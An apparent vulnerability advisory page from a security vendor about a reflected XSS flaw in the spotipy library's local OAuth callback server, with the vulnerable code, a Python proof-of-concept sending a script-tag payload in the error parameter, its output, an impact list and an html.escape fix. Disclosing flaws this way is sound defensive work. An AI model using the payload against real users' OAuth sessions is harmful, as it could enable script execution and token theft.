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Not in CISA KEV
LOW severity

GHSA-r77h-rpp9-w2xm spotipy

LOWFix: spotipy-dev/spotipy@880b92d

GHSA-r77h-rpp9-w2xm is a low-severity (CVSS 3.6) Cross-site Scripting (XSS) vulnerability in spotipy. A fix is available for spotipy — see the affected versions and patch details below.

Spotipy has a XSS vulnerability in its OAuth callback server

Also known asCVE-2025-66040PYSEC-2026-1937
Published
Dec 1, 2025
Updated
Jul 7, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 19, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-r77h-rpp9-w2xm.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs5th percentile — riskier than 5% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-r77h-rpp9-w2xm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍spotipy

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication.

Details

Vulnerable Code: spotipy/oauth2.py lines 1238-1274 (RequestHandler.do_GET)

The Problem: During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the error URL parameter directly into HTML without sanitization.

Vulnerable code at line 1255:

status = f"failed ({self.server.error})"

Then embedded in HTML at line 1265:

self._write(f"""<html>
<body>
<h1>Authentication status: {status}</h1>
</body>
</html>""")

The error parameter comes from URL parsing (lines 388-393) without HTML escaping, allowing script injection.

Attack Flow:

  1. User starts OAuth authentication → local server runs on http://127.0.0.1:8080
  2. Attacker crafts malicious URL: http://127.0.0.1:8080/?error=<script>alert(1)</script>&state=x
  3. User visits URL → JavaScript executes in localhost origin

PoC

Simple Python Test:

#!/usr/bin/env python3
# poc_xss.py - Demonstrates XSS in spotipy OAuth callback

import requests
from spotipy.oauth2 import start_local_http_server
import threading
import time

# Start vulnerable server in background
def start_server():
    server = start_local_http_server(8080)
    server.handle_request()

thread = threading.Thread(target=start_server, daemon=True)
thread.start()
time.sleep(2)

# Send XSS payload
payload = '<script>alert("XSS")</script>'
url = f'http://127.0.0.1:8080/?error={payload}&state=test'

response = requests.get(url)
print(f"Status: {response.status_code}")
print(f"\nHTML Response:\n{response.text}")

# Check if vulnerable
if payload in response.text:
    print(f"\n[!] VULNERABLE: Payload '{payload}' reflected without escaping!")
else:
    print("\n[+] Safe: Payload was sanitized")

Run it:

pip install spotipy requests
python3 poc_xss.py

Output shows:

Status: 200
HTML Response:
<html>
<body>
<h1>Authentication status: failed (<script>alert("XSS")</script>)</h1>
</body>
</html>

[!] VULNERABLE: Payload '<script>alert("XSS")</script>' reflected without escaping!

The Proof:

  • Expected (safe): &lt;script&gt;alert("XSS")&lt;/script&gt;
  • Actual (vulnerable): <script>alert("XSS")</script>
  • The script tags are NOT escaped → XSS confirmed

Impact

Vulnerability Type: Cross-Site Scripting (XSS) - CWE-79

Affected Users: Anyone using spotipy's OAuth flow with localhost redirect URIs

Attack Complexity: Medium-High

  • Requires timing (during brief OAuth window)
  • Localhost-only (127.0.0.1)
  • Requires user interaction (click malicious link)

Potential Impact:

  • Execute JavaScript in localhost origin
  • Access other localhost services (port scanning, API calls)
  • Steal data from local web applications
  • Extract OAuth tokens from browser storage
  • Bypass CSRF protections on localhost endpoints

CVSS 3.1 Score: 4.2 (Medium)

  • Attack Vector: Local
  • Attack Complexity: High
  • Privileges Required: None
  • User Interaction: Required
  • Scope: Unchanged
  • Confidentiality/Integrity: Low

Recommended Fix:

import html

# Line 1255 - apply HTML escaping
if self.server.error:
    status = f"failed ({html.escape(str(self.server.error))})"

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIspotipyall versions2.25.2pip install --upgrade 'spotipy==2.25.2'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for spotipy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update spotipy to 2.25.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-r77h-rpp9-w2xm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-r77h-rpp9-w2xm can be triaged on real exposure rather than presence alone.

Tailored to GHSA-r77h-rpp9-w2xm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary XSS vulnerability in OAuth callback server allows JavaScript injection through unsanitized error parameter. Attackers can execute arbitrary JavaScript in the user's browser during OAuth authentication. ### Details **Vulnerable Code:** `spotipy/oauth2.py` lines 1238-1274 (RequestHandler.do_GET) **The Problem:** During OAuth flow, spotipy starts a local HTTP server to receive callbacks. The server reflects the `error` URL parameter directly into HTML without sanitization. **Vulnerable code at line 1255:** ```python status = f"failed ({self.server.error})" ``` **Then embedded in
O3 Security · Impact-Aware SCA

Is GHSA-r77h-rpp9-w2xm in your dependencies?

O3 Security finds GHSA-r77h-rpp9-w2xm across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-r77h-rpp9-w2xm: spotipy XSS (Low 3.6) | O3 Security